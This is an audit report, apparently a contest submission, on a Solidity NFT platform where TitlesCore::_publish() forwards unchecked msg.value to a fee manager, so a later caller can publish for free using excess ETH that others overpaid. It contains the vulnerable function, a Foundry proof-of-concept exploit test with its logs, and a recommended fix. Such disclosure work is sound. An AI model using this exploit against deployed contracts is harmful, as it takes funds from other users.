Wonderful Tin Cuckoo

medium

# `TitlesCore::_publish()` did not check msg.value and did not refund excess fees. The attacker can consume excess ETH from the `feeManager` contract and call `TitlesCore::createEdition()` and `TitlesCore::publish()` for free

## Summary
`TitlesCore::_publish()` did not check msg.value and did not refund excess fees. The attacker can consume excess ETH from the `feeManager` contract and call `TitlesCore::createEdition()` and `TitlesCore::publish()` for free
## Vulnerability Detail
`TitlesCore::createEdition()` and `TitlesCore::publish()` will call `TitlesCore::_publish()` to create `Edition` and `Work`, but this method calls `feeManager.collectCreationFee{value: msg .value}(edition_, tokenId, msg.sender);`The amount is not checked and excess ETH is processed, resulting in excess tokens remaining in the `feeManager` contract. The attacker can use the ETH in the `feeManager` contract at will.
```js
    function _publish(Edition edition_, WorkPayload memory work_, address referrer_)
        internal
        returns (uint256 tokenId)
    {
        // Publish the new Work in the Edition
        // wake-disable-next-line reentrancy
        tokenId = edition_.publish(
            work_.creator.target,
            work_.maxSupply,
            work_.opensAt,
            work_.closesAt,
            work_.attributions,
            work_.strategy,
            work_.metadata
        );


        // Collect the creation fee
        // wake-disable-next-line reentrancy
@>        feeManager.collectCreationFee{value: msg.value}(edition_, tokenId, msg.sender);


        // Create the fee route for the new Work
        // wake-disable-next-line reentrancy
        Target memory feeReceiver = feeManager.createRoute(
            edition_, tokenId, _attributionTargets(work_.attributions), referrer_
        );


        // Set the royalty target for the new Work
        // wake-disable-next-line reentrancy
        edition_.setRoyaltyTarget(tokenId, feeReceiver.target);
    }
```

### Poc
```js
contract Poc is Test {
    TitlesCore public titlesCore;
    Edition public edition;
    FeeManager public feeManager;
    TitlesGraph public graph;
    address user = makeAddr("user");
    address royaltyTarget = makeAddr("royaltyTarget");

    function setUp() public {
        // deploy TitlesCore
        titlesCore = new TitlesCore();
        titlesCore.initialize(address(1), address(new MockSplitFactory()));
    }

    function test_publishPoc() public {
        TitlesCore.WorkPayload memory workPayload = TitlesCore.WorkPayload({
            creator: Target({target: user, chainId: block.chainid}),
            attributions: new Node[](0),
            maxSupply: 100,
            opensAt: uint64(block.timestamp),
            closesAt: uint64(block.timestamp + 3 days),
            strategy: Strategy({
                asset: ETH_ADDRESS,
                mintFee: 0.05 ether,
                revshareBps: 1000,
                royaltyBps: 250
            }),
            metadata: Metadata({label: "Werk", uri: "https://ipfs.io/{{hash}}", data: new bytes(0)})
        });
        Metadata memory metadata =
            Metadata({label: "Test Edition", uri: "https://ipfs.io/{{hash}}", data: new bytes(0)});

        bytes memory payload = LibZip.cdCompress(
            abi.encode(TitlesCore.EditionPayload({work: workPayload, metadata: metadata}))
        );
        // get fee
        // uint256 fee = titlesCore.feeManager().getCreationFee().amount;
        // console.log(fee);
        deal(user, 0.1 ether);
        // user calls createEdition()
        vm.prank(user);
        edition = titlesCore.createEdition{value: 0.1 ether}(payload, address(0));
        assertEq(user.balance, 0);
        console.log("Excess ETH in feeManager contract:", address(titlesCore.feeManager()).balance);
        // init attacker
        address attacker = makeAddr("attacker");
        // attacker dosen't have ETH
        assertEq(attacker.balance, 0);
        // Update payload
        workPayload.creator.target = attacker;
        payload = LibZip.cdCompress(
            abi.encode(TitlesCore.EditionPayload({work: workPayload, metadata: metadata}))
        );
        // attacker calls createEdition()
        vm.prank(attacker);
        Edition attackerEdition = titlesCore.createEdition{value: 0}(payload, address(0));
        assertEq(attackerEdition.owner(), attacker);
        assert(attackerEdition != edition);
        console.log("---------after attacker calls createEdition()---------");
        console.log("Excess ETH in feeManager contract:", address(titlesCore.feeManager()).balance);
    }
    // [PASS] test_publishPoc() (gas: 1484249)
    // Logs:
    //     Excess ETH in feeManager contract: 99900000000000000
    //     ---------after attacker calls createEdition()---------
    //     Excess ETH in feeManager contract: 99800000000000000
}
```
## Impact
`TitlesCore::createEdition()` and `TitlesCore::publish()` will call `TitlesCore::_publish()` to create `Edition` and `Work`, but this method calls `feeManager.collectCreationFee{value: msg .value}(edition_, tokenId, msg.sender);`The amount is not checked and excess ETH is processed, resulting in excess tokens remaining in the `feeManager` contract. The attacker can use the tokens in the `feeManager` contract at will.
## Code Snippet
https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/TitlesCore.sol#L72-L96
https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/TitlesCore.sol#L103-L113
https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/TitlesCore.sol#L120-L149
## Tool used

Manual Review

## Recommendation
Check msg.value and return excess ETH
